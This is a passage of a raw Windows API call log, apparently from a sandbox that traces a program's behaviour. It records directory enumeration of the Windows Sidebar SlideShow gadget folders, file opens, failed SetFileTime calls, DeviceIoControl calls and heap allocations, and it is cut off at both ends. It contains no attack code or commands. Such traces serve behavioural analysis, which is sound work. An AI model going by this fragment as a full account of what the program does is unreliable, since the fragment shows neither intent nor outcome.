hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.290] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0090.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3378 [0090.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340f18 [0090.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.293] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.293] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0090.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3398 [0090.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341020 [0090.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.294] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1 [0090.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f33b8 [0090.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341128 [0090.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.296] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 0 [0090.296] GetLastError () returned 0x12 [0090.296] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.296] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.296] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.296] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341230 [0090.297] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.297] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0090.297] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.298] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.298] NtClose (Handle=0x180) returned 0x0 [0090.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1341230) returned 1 [0090.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341230 [0090.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341338 [0090.299] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0090.299] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.300] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0090.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341440 [0090.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f33d8 [0090.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341548 [0090.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.302] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 1 [0090.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f33f8 [0090.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341650 [0090.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.303] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 0 [0090.303] GetLastError () returned 0x12 [0090.304] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.304] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.304] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.304] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0090.304] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 1 [0090.304] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x11b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.css", cAlternateFileName="")) returned 0 [0090.304] GetLastError () returned 0x12 [0090.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1341338) returned 1 [0090.304] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1341440) returned 1 [0090.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1341230) returned 1 [0090.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.305] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341230 [0090.305] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.305] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.306] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.306] NtClose (Handle=0x15c) returned 0x0 [0090.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1341230) returned 1 [0090.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341230 [0090.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341440 [0090.308] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.308] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.308] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0090.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341338 [0090.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3418 [0090.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341758 [0090.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.310] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 0 [0090.310] GetLastError () returned 0x12 [0090.310] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0090.310] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.310] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.310] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 1 [0090.310] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.js", cAlternateFileName="")) returned 0 [0090.311] GetLastError () returned 0x12 [0090.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1341440) returned 1 [0090.311] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0090.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1341338) returned 1 [0090.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1341230) returned 1 [0090.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, 